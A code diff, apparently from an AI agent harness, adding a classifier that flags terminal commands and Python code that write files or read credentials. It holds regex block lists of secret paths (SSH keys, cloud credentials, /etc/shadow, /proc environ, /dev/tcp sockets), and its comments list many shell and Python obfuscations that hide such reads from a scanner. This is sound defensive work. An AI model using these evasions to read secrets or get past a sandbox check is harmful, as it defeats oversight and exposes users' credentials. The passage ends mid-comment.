+        "FunctionType",
+        "read_pickle",
+    }
+)
+# Pickle-backed loaders that can execute code embedded in the file; gated by
+# receiver module (torch.load, joblib.load) since bare `load` is too common.
+_AUTO_UNSAFE_PY_LOAD_MODULES = frozenset({"torch", "joblib", "cloudpickle"})
+# Writer methods that persist to disk without going through open() (numpy.save,
+# Image.save, plt.savefig, DataFrame.to_csv, json.dump). Gated as method calls
+# only, so a bare attribute reference is not mistaken for a write.
+_AUTO_UNSAFE_PY_WRITE_METHODS = frozenset(
+    {
+        "save",
+        "savefig",
+        "savez",
+        "savez_compressed",
+        "savetxt",
+        "tofile",
+        "dump",
+        "to_csv",
+        "to_parquet",
+        "to_pickle",
+        "to_json",
+        "to_feather",
+        "to_hdf",
+        "to_excel",
+        "to_stata",
+        "to_sql",
+        "to_xml",
+        # pandas text exporters that write when given a path/buffer (to_html /
+        # to_markdown / to_latex mirror to_csv); to_clipboard / to_gbq persist
+        # off-process. to_string is omitted: it is overwhelmingly display-only.
+        "to_html",
+        "to_markdown",
+        "to_latex",
+        "to_clipboard",
+        "to_gbq",
+        "imwrite",
+        "imsave",
+        "write_image",
+        "write_html",
+        # ML persistence helpers (transformers/peft/safetensors/keras) that
+        # export adapters or weights to disk without an open()/writer attribute.
+        "save_pretrained",
+        "save_file",
+        "save_model",
+        "save_weights",
+        "save_lora",
+        "save_checkpoint",
+        # logging file handlers open a log file for write on construction (even
+        # default mode "a" creates); matched as attribute call and bare import.
+        "FileHandler",
+        "WatchedFileHandler",
+        "RotatingFileHandler",
+        "TimedRotatingFileHandler",
+        # numpy.memmap(..., mode="w+") and pandas writers create/truncate a file
+        # on construction, like open(..., "w").
+        "memmap",
+        "open_memmap",
+        "ExcelWriter",
+        "HDFStore",
+        # pydoc.writedoc(name) writes name.html to the workdir.
+        "writedoc",
+    }
+)
+# Archive / compressed-file constructors taking the mode as their 2nd arg like
+# open: ZipFile(name, "w") / gzip.GzipFile(name, "w") write, so gated only in
+# write mode (reading a .gz is fine, so the modules are not blanket-unsafe).
+_ARCHIVE_CTOR_NAMES = frozenset({"ZipFile", "TarFile", "GzipFile", "BZ2File", "LZMAFile"})
+# The stdlib module each archive constructor is imported from.
+_ARCHIVE_CTOR_MODULES = {
+    "zipfile": "ZipFile",
+    "tarfile": "TarFile",
+    "gzip": "GzipFile",
+    "bz2": "BZ2File",
+    "lzma": "LZMAFile",
+}
+# Modules whose top-level open() takes the mode as its 2nd arg like builtin open,
+# so `from gzip import open as gopen` binds an open alias gated on write mode.
+_OPEN_ALIAS_MODULES = frozenset({"gzip", "bz2", "lzma"})
+# Builtins/itertools helpers that call their first argument once per item, so a
+# writer/open alias handed to one runs without a direct call(...) site
+# (list(map(open, names, modes)), starmap(np.save, ...)). filter's predicate is
+# also invoked, so a writer smuggled there runs too.
+_HIGHER_ORDER_INVOKERS = frozenset({"map", "filter", "starmap", "reduce"})
+_PY_WRITE_MODE_RE = re.compile(r"[wax+]")
+# A file-mode literal ("w", "rb", "a+"): letters/flags only, no path chars.
+# Used to tell a Path.open("w") mode from a ZipFile.open("name.txt") filename.
+_PY_MODE_LITERAL_RE = re.compile(r"^[rwxa][btru+]*$")
+
+# Reading these off the host escapes the intent of "read-only is safe": they
+# hold credentials. Path traversal (../) escapes the per-session workdir.
+_SENSITIVE_PATH_RE = re.compile(
+    r"(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube|config/gcloud|config/gh)(?:[/\\]|$)"
+    r"|\.(?:netrc|npmrc|pypirc|git-credentials|env)(?:$|[/\\.\s'\"])"
+    r"|id_rsa|id_ed25519|id_ecdsa|id_dsa"
+    # Hugging Face stores the login token at ~/.cache/huggingface/token and the
+    # legacy ~/.huggingface/token (plus the multi-token store stored_tokens); the
+    # rest of that cache is model data, so only the credential files match. The
+    # optional leading dot covers the .huggingface dotdir form.
+    r"|(?:^|[/\\])\.?huggingface[/\\](?:token|stored_tokens)(?:$|[/\\.\s'\"])"
+    # /etc/ssh holds the host private keys (ssh_host_*_key); the whole dir is
+    # sensitive, not just passwd/shadow/sudoers.
+    r"|credentials|/etc/(?:passwd|shadow|sudoers|ssh(?:[/\\]|$))"
+    # Bash opens /dev/tcp/host/port and /dev/udp/host/port as network sockets,
+    # so a redirection to one reaches the network without the confirm prompt.
+    r"|/dev/(?:tcp|udp)/"
+    # Docker/Kubernetes secret mounts hold injected credentials.
+    r"|/(?:var/)?run/secrets(?:[/\\]|$)"
+    # procfs leaks a (possibly parent) process env/args/memory to a read,
+    # including the per-thread aliases under /proc/<pid>/task/<tid>/. The fd/
+    # dir holds symlinks to a process's open files (a held credential/db file).
+    r"|/proc/[^/\s'\"]+/(?:task/[^/\s'\"]+/)?(?:environ|cmdline|mem|maps|fd)\b"
+    # A .pem/.key file (basename before the extension), not a bare ".key"
+    # (e.g. a jq '.key' filter).
+    r"|\w[\w.-]*\.(?:pem|key)(?:$|[\s'\"])",
+    re.IGNORECASE,
+)
+# A shell redirection with no following space (cat <../../notes) keeps `..`
+# adjacent to `<`/`>`, so those count as leading delimiters here too.
+_PARENT_TRAVERSAL_RE = re.compile(r"(?:^|[\s/\\'\"=:<>])\.\.(?:[/\\]|$|[\s'\"])")
+# A sensitive directory: a dynamic segment under it (open(f"/etc/{name}")) is
+# not provably safe, so fail closed when a folded path has a dynamic piece here.
+_SENSITIVE_DIR_RE = re.compile(
+    r"/etc/|/(?:var/)?run/secrets[/\\]|(?:^|[/\\])\.(?:ssh|aws|azure|gnupg|docker|kube)[/\\]"
+    r"|(?:^|[/\\])\.config/(?:gcloud|gh)[/\\]",
+    re.IGNORECASE,
+)
+# Collapse /./ and repeated slashes so /etc/./passwd and /etc//passwd, which
+# the OS resolves to /etc/passwd, still match the sensitive-path regex.
+_REDUNDANT_SLASH_RE = re.compile(r"/\.?(?=/)")
+# $name, ${name}, and operator/substring forms (${name:-x}, ${name:0:6}) all
+# reference `name`; substituting the assigned value catches paths hidden behind
+# a substring expansion (p=passwd; cat /etc/${p:0:6}).
+_SHELL_VAR_RE = re.compile(r"\$\{(\w+)(?::[^{}]*)?\}|\$(\w+)")
+# Pattern replacement (${p/X/w}, global ${p//X/w}) transforms the value before
+# the path is used; apply it so p=passXd; cat /etc/${p/X/w} is scanned.
+_SHELL_PARAM_REPL_RE = re.compile(r"\$\{(\w+)/(/)?([^/{}]*)/([^{}]*)\}")
+# Case modification (${p^^} upper, ${p,,} lower, ${p^}/${p,} first char) also
+# transforms the value, so p=PASSWD; cat /etc/${p,,} builds /etc/passwd.
+_SHELL_PARAM_CASE_RE = re.compile(r"\$\{(\w+)(\^\^|,,|\^|,)\}")
+# Indirect expansion ${!p} yields the value of the variable *named* by $p, so
+# x=passwd; p=x; cat /etc/${!p} builds /etc/passwd.
+_SHELL_PARAM_INDIRECT_RE = re.compile(r"\$\{!(\w+)\}")
+_SHELL_ASSIGN_RE = re.compile(r"(?:^|[\s;&|(])([A-Za-z_]\w*)=([^\s;&|)]+)")
+# Bash ANSI-C quoting ($'\x77' -> 'w') is expanded after this classifier, so
+# decode $'...' bodies before the sensitive-path scan.
+_ANSI_C_RE = re.compile(r"\$'((?:[^'\\]|\\.)*)'")
+# Shell quotes only delimit; bash concatenates the pieces (cat /proc/x/enviro''n
+# reads .../environ), so strip them before the sensitive-path scan.
+_SHELL_QUOTE_RE = re.compile(r"['\"]")
+# A glob bracket class [s] -> s, so .s[s]h de-obfuscates to .ssh for the scan.
+_GLOB_BRACKET_RE = re.compile(r"\[([^!\]][^\]]*)\]")
+# Bash POSIX character classes ([[:lower:]]) each match one char; Python fnmatch
+# does not understand them, so normalize to `?` before the glob check.
+_POSIX_CLASS_RE = re.compile(r"\[\[:\w+:\]\]")
+# Canonical sensitive files a ? / * / [..] glob could expand to; fnmatch tests
+# whether the pattern reaches one (cat /e??/passwd -> /etc/passwd).
+_SENSITIVE_GLOB_TARGETS = (
+    "/etc/passwd",
+    "/etc/shadow",
+    "/etc/sudoers",
+    "/root/.ssh/id_rsa",
+    "/root/.aws/credentials",
+    "/home/u/.ssh/id_rsa",
+    "/home/u/.ssh/id_ed25519",
+    "/home/u/.aws/credentials",
+    "/home/u/.netrc",
+    "/home/u/.git-credentials",
+)
+# Directories whose every file is a credential/secret; a glob resolving into one
+# (cat /r?n/secrets/hf_token, cat /root/.s??/id_rsa) reads a secret even though
+# the exact filename is never enumerated, so a globbed token here asks.
+_SENSITIVE_GLOB_DIRS = (
+    "/run/secrets",
+    "/var/run/secrets",
+    "/root/.ssh",
+    "/root/.aws",
+    "/root/.azure",
+    "/root/.gnupg",
+    "/root/.docker",
+    "/root/.kube",
+    "/root/.config/gcloud",
+    "/root/.config/gh",
+    "/home/u/.ssh",
+    "/home/u/.aws",
+    "/home/u/.azure",
+    "/home/u/.gnupg",
+    "/home/u/.docker",
+    "/home/u/.kube",
+    "/home/u/.config/gcloud",
+    "/home/u/.config/gh",
+)
+# Credential basenames a glob can reach even when the directory is not wholly
+# sensitive (cat ~/.huggingface/tok?n -> token, cat ~/.netr? -> .netrc); the
+# canonical-target list only covers a few fixed home paths, so match the globbed
+# basename against these directly.
+_SENSITIVE_GLOB_BASENAMES = frozenset(
+    {
+        "token",
+        "stored_tokens",
+        "credentials",
+        ".netrc",
+        "netrc",
+        ".pypirc",
+        ".npmrc",
+        ".git-credentials",
+        "id_rsa",
+        "id_ed25519",
+        "id_ecdsa",
+        "id_dsa",
+        "passwd",
+        "shadow",
+        # A project .env holds secrets; the literal path is gated elsewhere, so a
+        # glob that expands to it (cat .e?v) must be too.
+        ".env",
+    }
+)
+# A leading shell redirection (<, >, 2>, >>) hides the path from a plain glob
+# scan (cat </e??/passwd); strip it before matching.
+_REDIR_PREFIX_RE = re.compile(r"^\d*[<>]+")
+# Bash brace expansion (cat /etc/pass{w,}d -> /etc/passwd /etc/passd, and the
+# sequence form cat /etc/pass{w..w}d -> /etc/passwd) runs after this classifier;
+# expand comma groups and .. sequences to scan each result.
+_BRACE_COMMA_RE = re.compile(r"^\{([^{}]*,[^{}]*)\}$")
+_BRACE_SEQ_RE = re.compile(r"^\{([^{}]+)\.\.([^{}]+)(?:\.\.(-?\d+))?\}$")
+_BRACE_ANY_RE = re.compile(r"\{[^{}]*,[^{}]*\}|\{[^{}]+\.\.[^{}]+(?:\.\.-?\d+)?\}")
+# Parameter expansion with a default/alternate operator (${x:-passwd},
+# ${x:+passwd}, ${x=passwd}) can synthesize a path after approval; the operand
+# is substituted so the resulting path is scanned.
+_SHELL_PARAM_OP_RE = re.compile(r"\$\{[A-Za-z_]\w*:?[-=+]([^{}]*)\}")
+
+
+def _references_sensitive_path(text: str) -> bool:
+    """True if a command or string literal reads a credential path or escapes
+    the sandbox workdir via parent traversal."""
+    norm = _REDUNDANT_SLASH_RE.sub("", text)
+    debracket = _GLOB_BRACKET_RE.sub(lambda m: m.group(1)[0], text)
+    return bool(
+        _PARENT_TRAVERSAL_RE.search(text)
+        or _SENSITIVE_PATH_RE.search(text)
+        or _SENSITIVE_PATH_RE.search(norm)
+        or _SENSITIVE_PATH_RE.search(debracket)
+    )
+
+
+def _pattern_matches_dir(pattern: str, target: str) -> bool:
+    """Segment-wise fnmatch so a glob segment does not cross a '/' boundary
+    (`/home/*` must not match `/home/u/.ssh`)."""
+    p = pattern.split("/")
+    t = target.split("/")
+    if len(p) != len(t):
+        return False
+    return all(fnmatch.fnmatch(tseg, pseg) for pseg, tseg in zip(p, t))
+
+
+def _glob_token_sensitive(token: str) -> bool:
+    """True if a single ? / * / [..] glob token could expand to a sensitive file
+    or a file under a secret/credential directory. Shared by the terminal scan
+    and the Python glob check (glob.glob('/e??/passwd'))."""
+    token = _REDIR_PREFIX_RE.sub("", _SHELL_QUOTE_RE.sub("", token))
+    # A POSIX class ([[:lower:]]) matches one char, like `?`, but fnmatch treats
+    # it as a literal set; normalize so cat /etc/pass[[:lower:]]d resolves.
+    token = _POSIX_CLASS_RE.sub("?", token)
+    if not any(c in token for c in "?*["):
+        return False
+    if any(fnmatch.fnmatch(target, token) for target in _SENSITIVE_GLOB_TARGETS):
+        return True
+    # A glob that resolves to a credential basename is sensitive wherever it
+    # lives (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc); the
+    # fixed-target list only covers a handful of home paths.
+    base = token.rsplit("/", 1)[-1]
+    if any(c in base for c in "?*[") and any(
+        fnmatch.fnmatch(name, base) for name in _SENSITIVE_GLOB_BASENAMES
+    ):
+        return True
+    # A globbed directory that resolves into a secret/credential dir makes every
+    # file below it sensitive (cat /r?n/secrets/hf_token).
+    head = token.rsplit("/", 1)[0] if "/" in token else token
+    return any(
+        _pattern_matches_dir(token, d) or _pattern_matches_dir(head, d)
+        for d in _SENSITIVE_GLOB_DIRS
+    )
+
+
+def _glob_hits_sensitive(command: str) -> bool:
+    """True if any glob token in a command could expand to a sensitive file, so
+    `cat /e??/passwd` and `cat /r?n/secrets/hf_token` ask even without a literal
+    sensitive path."""
+    return any(
+        _glob_token_sensitive(token)
+        for token in command.replace(";", " ").replace("|", " ").split()
+    )
+
+
+def _expand_shell_assignments(command: str) -> str:
+    """Best-effort substitution of `NAME=value ... $NAME`, so a sensitive path
+    split across an assignment and an argument (p=/etc; cat $p/passwd) is still
+    visible to the sensitive-path scan. Also applies pattern replacement
+    (p=passXd; cat /etc/${p/X/w}). Fail-open: only adds detections."""
+    env = dict(_SHELL_ASSIGN_RE.findall(command))
+    if not env:
+        return command
+
+    def repl_pattern(m):
+        var, is_global, pat, rep = m.group(1), m.group(2), m.group(3), m.group(4)
+        if var not in env or not pat:
+            return m.group(0)
+        return env[var].replace(pat, rep) if is_global else env[var].replace(pat, rep, 1)
+
+    def repl_case(m):
+        var, op = m.group(1), m.group(2)
+        if var not in env:
+            return m.group(0)
+        v = env[var]
+        if op == ",,":
+            return v.lower()
+        if op == "^^":
+            return v.upper()
+        if op == ",":
+            return v[:1].lower() + v[1:]
+        return v[:1].upper() + v[1:]
+
+    def repl_indirect(m):
+        # ${!p} -> value of the variable named by $p (env[env[p]]).
+        pointed = env.get(m.group(1))
+        return env.get(pointed, m.group(0)) if pointed is not None else m.group(0)
+
+    command = _SHELL_PARAM_INDIRECT_RE.sub(repl_indirect, command)
+    command = _SHELL_PARAM_REPL_RE.sub(repl_pattern, command)
+    command = _SHELL_PARAM_CASE_RE.sub(repl_case, command)
+    return _SHELL_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), command)
+
+
+def _expand_param_defaults(command: str) -> str:
+    """Substitute the operand of a default/alternate parameter expansion
+    (cat /etc/pass${x:-wd} -> cat /etc/passwd), which bash applies after this
+    classifier. Fail-open: only adds detections."""
+    return _SHELL_PARAM_OP_RE.sub(lambda m: m.group(1), command)
+
+
+def _decode_ansi_c(command: str) -> str:
+    """Decode bash ANSI-C quoted words (cat $'/etc/pass\\x77d' -> cat /etc/passwd)
+    so an escape-obfuscated path is visible to the scan. Fail-open: only adds
+    detections."""
+
+    def dec(m):
+        try:
+            return bytes(m.group(1), "utf-8").decode("unicode_escape")
+        except (UnicodeDecodeError, ValueError):
+            return m.group(0)
+
+    return _ANSI_C_RE.sub(dec, command)
+
+
+def _brace_range(lo: str, hi: str, step: "str | None") -> "list[str]":
+    """Expand a bash sequence brace endpoint pair ({1..3}, {a..c}, {w..w})."""
+    try:
+        istep = abs(int(step)) if step else 1
+        istep = istep or 1
+        if re.fullmatch(r"-?\d+", lo) and re.fullmatch(r"-?\d+", hi):
+            a, b = int(lo), int(hi)
+            rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+            return [str(x) for x in rng][:64]
+        if len(lo) == 1 and len(hi) == 1 and lo.isalpha() and hi.isalpha():
+            a, b = ord(lo), ord(hi)
+            rng = range(a, b + 1, istep) if a <= b else range(a, b - 1, -istep)
+            return [chr(x) for x in rng][:64]
+    except (ValueError, TypeError):
+        pass
+    return []
+
+
+def _brace_options(text: str) -> "list[str]":
+    """Options a single brace group expands to (comma list or .. sequence)."""
+    m = _BRACE_COMMA_RE.match(text)
+    if m:
+        return m.group(1).split(",")
+    m = _BRACE_SEQ_RE.match(text)
+    if m:
+        return _brace_range(m.group(1), m.group(2), m.group(3)) or [text]
+    return [text]
+
+
+def _expand_braces(command: str) -> str:
+    """Best-effort bash brace expansion (cat /etc/pass{w,}d -> cat /etc/passwd
+    /etc/passd, cat /etc/pass{w..w}d -> cat /etc/passwd) so a sensitive path
+    split across a brace group is scanned. Bounded. Fail-open: only detects."""
+    results = [command]
+    for _ in range(6):
+        if not any(_BRACE_ANY_RE.search(s) for s in results):
+            break
+        expanded = []
+        for s in results:
+            m = _BRACE_ANY_RE.search(s)
+            if not m:
+                expanded.append(s)
+                continue
+            for opt in _brace_options(m.group(0)):
+                expanded.append(s[: m.start()] + opt + s[m.end() :])
+        results = expanded[:64]
+    return " ".join(results)
+
+
+def _mode_arg_writes(mode_node) -> bool:
+    """True if an AST node used as a file mode requests write/append."""
+    if mode_node is None:
+        return False  # default "r"
+    if isinstance(mode_node, ast.Constant) and isinstance(mode_node.value, str):
+        return bool(_PY_WRITE_MODE_RE.search(mode_node.value))
+    return True  # dynamic mode: cannot prove read-only
+
+
+def _has_kwarg_splat(node) -> bool:
+    """True if the call has a ``**kwargs`` splat, which can hide a write mode."""
+    return any(kw.arg is None for kw in node.keywords or [])
+
+
+def _builtin_open_writes(node) -> bool:
+    """Write check for builtin ``open(file, mode)`` (mode is the 2nd arg)."""
+    if _has_kwarg_splat(node):
+        return True  # **{"mode": "w"} could request a write
+    if any(isinstance(a, ast.Starred) for a in node.args):
+        return True  # *("f", "w") could splat a write mode into the positionals
+    mode = node.args[1] if len(node.args) >= 2 else None
+    for kw in node.keywords or []:
+        if kw.arg == "mode":
+            mode = kw.value
+    return _mode_arg_writes(mode)
+
+
+def _attr_open_writes(node) -> bool:
+    """Write check for ``x.open(...)`` (e.g. ``Path.open(mode)`` where mode is
+    the 1st arg). Only a mode-looking string is read as the mode, so a
+    ``ZipFile.open("name.txt")`` read is not mistaken for a write."""
+    if _has_kwarg_splat(node):
+        return True  # **{"mode": "w"} could request a write
+    for kw in node.keywords or []:
+        if kw.arg == "mode":
+            return _mode_arg_writes(kw.value)
+    if node.args:
+        first = node.args[0]
+        if isinstance(first, ast.Constant) and isinstance(first.value, str):
+            if _PY_MODE_LITERAL_RE.match(first.value):
+                return bool(_PY_WRITE_MODE_RE.search(first.value))
+            # A 2nd positional arg is either a mode (x.open(name, "w")) or
+            # os.open(path, O_CREAT) flags via an alias: honor a string mode,
+            # otherwise cannot prove read-only, so ask.
+            if len(node.args) >= 2:
+                second = node.args[1]
+                if isinstance(second, ast.Constant) and isinstance(second.value, str):
+                    return _mode_arg_writes(second)
+                return True
+            return False
+        return True  # dynamic first arg: cannot prove read-only
+    return False  # no args: read
+
+
+_PATH_CTORS = (
+    "Path",
+    "PurePath",
+    "PurePosixPath",
+    "PureWindowsPath",
+    "PosixPath",
+    "WindowsPath",
+)
+# Deterministic path pass-through/normalizer calls that return the same location
+# (os.path.abspath('/etc') -> /etc, Path('/etc').resolve() -> /etc), so folding
+# through them keeps a sensitive root visible to the scan.
+_PATH_PASSTHROUGH_ATTRS = frozenset(
+    {"abspath", "normpath", "realpath", "expanduser", "expandvars", "resolve", "absolute"}
+)
+# pathlib methods that rewrite only the final path component, so the sensitive
+# target is never spelled out as a literal (Path('/etc/x').with_name('passwd')
+# -> /etc/passwd). Folded below so the rewritten path is still scanned.
+_PATH_NAME_REWRITES = frozenset({"with_name", "with_stem", "with_suffix"})
+# Mapping-style %-format conversion specifier: %(name)s / %(n)5.2f. Used to fold
+# '/etc/%(f)s' % {'f': 'passwd'} to /etc/passwd (a dynamic value becomes NUL).
+_PERCENT_NAMED_RE = re.compile(r"%\((\w+)\)[-#0 +]*\d*(?:\.\d+)?[a-zA-Z]")
+
+
+def _folded_path(
+    node,
+    literals = None,
+    ctors = None,
+    join_names = None,
+) -> "str | None":
+    """Best-effort value of a path built from string literals, so a sensitive
+    path assembled from pieces (os.path.join('/etc', 'passwd'), '/etc'+'/passwd',
+    Path('/etc') / 'passwd', f'/proc/{pid}/environ', f'/etc/{name}') is still
+    visible to the scan. A dynamic piece becomes NUL, a non-slash placeholder,
+    so a dynamic segment under a sensitive dir (/etc/NUL) is still detectable.
+    ``literals`` maps names bound to string literals (base = '/etc'); ``ctors``
+    is the set of pathlib constructor names (incl. import aliases); ``join_names``
+    are bare names bound to os.path.join (from os.path import join)."""
+    literals = literals or {}
+    ctors = ctors or _PATH_CTORS
+    join_names = join_names or frozenset()
+
+    def fold(node) -> "str | None":
+        if isinstance(node, ast.Constant) and isinstance(node.value, (str, bytes)):
+            # bytes paths are valid too (open(b'/etc/passwd')); decode for scan.
+            return (
+                node.value.decode("latin-1", "ignore")
+                if isinstance(node.value, bytes)
+                else node.value
+            )
+        if isinstance(node, ast.Name):
+            return literals.get(node.id)
+        if isinstance(node, ast.Attribute) and node.attr in ("parent", "parents"):
+            # A pathlib .parent/.parents walks above the current dir, escaping
+            # the per-session workdir without a literal '..'; mark it so a read
+            # folds to unsafe (\x02 is a non-slash escape sentinel).
+            return "\x02"
+        if (
+            isinstance(node, ast.Subscript)
+            and isinstance(node.value, ast.Attribute)
+            and (node.value.attr == "parents")
+        ):
+            return "\x02"  # Path(...).parents[1]
+        if isinstance(node, ast.JoinedStr):
+            return "".join(
+                v.value
+                if isinstance(v, ast.Constant) and isinstance(v.value, str)
+                else (fold(v.value) or "\x00")
+                if isinstance(v, ast.FormattedValue)
+                else "\x00"
+                for v in node.values
+            )
+        if isinstance(node, ast.BinOp) and isinstance(node.op, (ast.Add, ast.Div)):
+            left = fold(node.left)
+            right = fold(node.right)
+            left = "\x00" if left is None else left
+            right = "\x00" if right is None else right
+            # Path('/etc') / 'passwd' joins with a separator; '+' concatenates.
+            return left + "/" + right if isinstance(node.op, ast.Div) else left + right
+        if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Mod):
+            # Old-style formatting: '%s/%s' % ('/etc', 'passwd') -> /etc/passwd.
+            template = fold(node.left)
+            if template is not None and "%" in template:
+                rhs = node.right
+                if "%(" in template:
+                    # Mapping-style: '/etc/%(f)s' % {'f': 'passwd'} -> /etc/passwd.
+                    # A literal dict resolves each name; an unresolved value or a
+                    # non-literal mapping leaves the NUL marker so /etc/<dynamic>
+                    # still fails closed under a sensitive dir.
+                    mapping: "dict[str, str]" = {}
+                    if isinstance(rhs, ast.Dict):
+                        for k, v in zip(rhs.keys, rhs.values):
+                            if isinstance(k, ast.Constant) and isinstance(k.value, str):
+                                fv = fold(v)
+                                mapping[k.value] = fv if fv is not None else "\x00"
+                    return _PERCENT_NAMED_RE.sub(
+                        lambda m: mapping.get(m.group(1), "\x00"), template
+                    )
+                if isinstance(rhs, ast.Tuple):
+                    args = tuple((fold(e) or "\x00") for e in rhs.elts)
+                else:
+                    single = fold(rhs)
+                    args = (single if single is not None else "\x00",)
+                try:
+                    return template % args
+                except (TypeError, ValueError, KeyError):
+                    return None
+            return None
+        if isinstance(node, ast.Call):
+            func = node.func
+            if isinstance(func, ast.Attribute) and func.attr == "joinpath":
+                # Path('/etc').joinpath('passwd') -> receiver and args are pieces.
+                base = fold(func.value)
+                parts = [base if base is not None else "\x00"]
+                parts += [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            if isinstance(func, ast.Attribute) and func.attr in ("glob", "rglob", "iglob"):
+                # Path('/etc').glob('passw?') -> the receiver dir joined with the
+                # glob pattern; _glob_token_sensitive then tests /etc/passw?.
+                base = fold(func.value)
+                pattern = fold(node.args[0]) if node.args else "\x00"
+                return (base if base is not None else "\x00") + "/" + (pattern or "\x00")
+            if isinstance(func, ast.Attribute) and func.attr in _PATH_NAME_REWRITES:
+                # Path('/etc/x').with_name('passwd') -> /etc/passwd; with_stem /
+                # with_suffix rewrite only the final component. Fold to the
+                # rewritten path so a sensitive target that no literal spells out
+                # is still caught. An unresolved receiver stays None (untracked,
+                # like a bare variable), and a dynamic arg becomes the NUL marker.
+                base = fold(func.value)
+                if base is None:
+                    return None
+                arg = fold(node.args[0]) if node.args else None
+                arg = "\x00" if arg is None else arg
+                idx = base.rfind("/")
+                head = base[: idx + 1] if idx >= 0 else ""
+                name = base[idx + 1 :] if idx >= 0 else base
+                dot = name.rfind(".")
+                stem = name[:dot] if dot > 0 else name
+                suffix = name[dot:] if dot > 0 else ""
+                if func.attr == "with_name":
+                    name = arg
+                elif func.attr == "with_stem":
+                    name = arg + suffix
+                else:  # with_suffix
+                    name = stem + arg
+                return head + name
+            if isinstance(func, ast.Attribute) and func.attr in _PATH_PASSTHROUGH_ATTRS:
+                # Deterministic normalizers keep the same path: os.path.abspath(
+                # '/etc') -> /etc, Path('/etc').resolve() -> /etc. When called with
+                # a path arg fold it, else fold the receiver (Path method form).
+                return fold(node.args[0]) if node.args else fold(func.value)
+            if isinstance(func, ast.Attribute) and func.attr == "join":
+                # str.join has the separator as the receiver and the pieces in
+                # one iterable arg ("".join(['/etc', '/passwd']) -> /etc/passwd);
+                # tell it apart from os.path.join(*pieces).
+                sep = fold(func.value)
+                if (
+                    sep is not None
+                    and len(node.args) == 1
+                    and isinstance(node.args[0], (ast.List, ast.Tuple))
+                ):
+                    pieces = [(fold(e) or "\x00") for e in node.args[0].elts]
+                    return sep.join(pieces)
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # A bare os.path.join alias (from os.path import join): join(*pieces).
+            if isinstance(func, ast.Name) and func.id in join_names:
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # A bare/qualified/aliased pathlib constructor (Path(...), P(...)).
+            if (isinstance(func, ast.Attribute) and func.attr in ctors) or (
+                isinstance(func, ast.Name) and func.id in ctors
+            ):
+                parts = [(fold(a) or "\x00") for a in node.args]
+                return "/".join(parts)
+            # '/etc/{}'.format('passwd') -> /etc/passwd (literal template + args).
+            if isinstance(func, ast.Attribute) and func.attr == "format":
+                template = fold(func.value)
+                if template is not None and "{" in template:
+                    parts = []
+                    for a in node.args:
+                        if isinstance(a, ast.Constant):
+                            parts.append(str(a.value))
+                        else:
+                            folded = fold(a)
+                            parts.append("\x00" if folded is None else folded)
+                    try:
+                        return template.format(*parts)
+                    except (IndexError, KeyError, ValueError):
+                        return None
+        return None
+
+    return fold(node)
+
+
+def _dynamic_name_hits_sensitive(folded) -> bool:
+    """True if a folded path with a dynamic piece (NUL) inside a path segment
+    could spell a credential target, e.g. open('/et' + chr(99) + '/passwd')
+    folds to '/et\\x00/passwd'. NUL matches any run of non-separator chars so the
+    dynamic split of a sensitive name resolves, while an all-dynamic ('\\x00\\x00')
+    or segment-spanning ('\\x00/\\x00') path cannot form a single credential name
+    and stays safe."""
+    if not folded or "\x00" not in folded:
+        return False
+    pattern = "".join(r"[^/\\]*" if ch == "\x00" else re.escape(ch) for ch in folded)
+    try:
+        rx = re.compile(pattern + r"\Z")
+    except re.error:
+        return True  # pathological pattern: fail closed
+    return any(rx.match(t) for t in _SENSITIVE_GLOB_TARGETS)
+
+
+def _folded_is_sensitive(folded) -> bool:
+    """A folded path is sensitive if it names a credential file, has a dynamic
+    segment (NUL) directly under a sensitive directory (/etc/NUL), walks out of
+    the sandbox via a pathlib .parent/.parents escape (\\x02), or is a glob that
+    could resolve to a credential path (glob.glob('/e??/passwd'))."""
+    if not folded:
+        return False
+    return (
+        "\x02" in folded
+        or _references_sensitive_path(folded)
+        or ("\x00" in folded and bool(_SENSITIVE_DIR_RE.search(folded)))
+        # A dynamic segment (NUL) can be the "/" forming a sensitive root:
+        # open(os.sep + "etc/passwd") folds to "\x00etc/passwd", so re-scan with
+        # NUL as "/" (a benign "\x00data/file" -> "/data/file" stays safe).
+        or ("\x00" in folded and _references_sensitive_path(folded.replace("\x00", "/")))
+        # A dynamic piece can also sit INSIDE a sensitive name: open('/et' +
+        # chr(99) + '/passwd') folds to "/et\x00/passwd", which none of the above
+        # catch. Match the literals around each NUL against a credential target,
+        # treating NUL as "any run of non-separator chars" so /et<dyn>/passwd
+        # resolves while an all-dynamic ("\x00\x00" from 1 + 1) or segment-spanning
+        # ("\x00/\x00" from a + '/' + b) path stays safe.
+        or _dynamic_name_hits_sensitive(folded)
+        or _glob_token_sensitive(folded)
+    )
+
+
+def _terminal_is_potentially_unsafe(command: str) -> bool:
+    """Classify a terminal command for auto mode (fail closed)."""
+    if not command or not command.strip():
+        return False
+    # Redirections and substitutions can hide writes or nested commands; a
+    # quoted ">" false-positives into a prompt, which is the safe direction.
+    if ">" in command or "`" in command or "$(" in command or "<(" in command:
+        return True
+    # Reads that escape the sandbox workdir (../) or hit credential paths are
+    # not "safe" reads; ask before running them. Strip shell quotes/backslash
+    # escapes and expand NAME=value prefixes first so `cat /proc/$PPID/enviro''n`,
+    # `cat /et\c/passwd`, and `p="/proc/$PPID"; cat $p/environ` are caught too.
+    stripped = _SHELL_QUOTE_RE.sub("", command).replace("\\", "")
+    # Bash applies brace/parameter/ANSI-C expansion after this classifier, so a
+    # path split across a brace group (/etc/pass{w,}d), a default/substring param
+    # (${x:-wd}, ${p:0:6}), or an escape ($'...') is invisible to the raw scan;
+    # expand first (ANSI-C decoded from the raw command, before backslash strip).
+    candidates = []
+    for c in (command, stripped, _decode_ansi_c(command)):
+        c_param = _expand_param_defaults(c)
+        candidates.extend((c, c_param, _expand_braces(c_param), _expand_shell_assignments(c_param)))
+    # Run both the literal and glob-sensitive scans over every candidate, so a
+    # brace-expanded glob (cat /e{t,}c/pass?d -> /etc/pass?d) is caught.
+    if any(_glob_hits_sensitive(c) or _references_sensitive_path(c) for c in candidates):
+        return True
+    # Newlines (and CR) separate commands in a shell but read as plain
